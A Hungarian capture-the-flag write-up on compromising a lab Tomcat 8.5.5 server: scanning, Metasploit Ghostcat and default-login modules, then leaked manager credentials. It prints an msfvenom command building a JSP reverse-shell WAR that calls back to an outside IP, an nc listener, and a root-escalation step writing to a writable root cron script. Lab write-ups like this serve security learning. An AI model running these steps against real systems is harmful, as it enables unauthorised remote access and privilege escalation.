A CTF indító oldala mellett a Tomcat logót lehet látni, amiből sejtheti az ember, hogy miféle feladatot kell megoldani. Az első lépés az nmap, ami meg is erősíti a feltevésünket.
Rövid keresgélés után a 8.5.5-ös Tomcathez találhatunk egy rakás sebezhetőséget. A legtöbb valamilyen hibás konfogurációt használ ki. Az egyik a CVE-2017-12617, amihez egy szkript is van az exploitDB-ben. Sajnos nem működik. A másik hiba a Jserv protokolt használja ki. (admin/http/tomcat_ghostcat) Ez működik, de tudni kell, hogy milyen fájlt akarunk megnézni. Az egyetlen fájl, aminek meg tudom jeleníteni a tartalmát a web.xml, de ebben semmi érdekes információ nincs. Mivel a Tomcat a tomcat-users.xml-ben tárolja a felhasználónév/jelszó párosokat, ezért megnéztem meg tudom-e nyitni, de ezzel sem értem el sikert. Van egy másik modul Metasploit-ban, ami az alapértelmezett jelszavakat próbálgatja (scanner/http/tomcat_mgr_login). Végigfutott, de eredmény nélkül.
Kínomban már kézzel is írtam be felhasználónév és jelszó párosokat, hátha szerencsém lesz, de nem volt. Sajnos nem voltam elég alapos, így csak sokadjára tűnt fel, hogy a hibás bejelentkezés után van egy elejtett infó. Kipróbálva az ott látható felhasználónevet és jelszót, be tudunk lépni a management felületre. Ismét csak bebizonyosodik, a CTF-eknél minden információ fontos. Még az is, amire legyintünk.
A felületen fel tudunk tölteni WAR modulokat. Készítsünk egy reverz shellt az msfvenommal:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.23.71.181 LPORT=9001 -f war -o pen.war
Aki nem tudná, az msfvenom egy malware készító csomag, amivel játszi könnyedséggel lehet bármilyen reverz shellt készíteni. Az LHOST-al adom meg, hogy hova próbáljon meg csatlakozni, az LPORT-al pedig értelemszerűen a portot adom meg.
Először előkészítjük a terepet egy nc-vel a gépünkön:
nc -lvnp 9001
Utána feltöltjük a pen.war-t és ráklikkelünk. Egy idő után létrejön a kapcsolat. Az első flag a /home/jack könyvtárban van. A flag mellett találunk egy id.sh szkriptet is, ami szerencsére írható. Az /etc/crontab szerint a root ezt rendszeresen futtatja is. Az id.sh-ba létrehozhatunk egy újabb reverz shell-t, de én csak beírtam egy cat /root/* >ize-t. A root flag az ize fájlban lesz.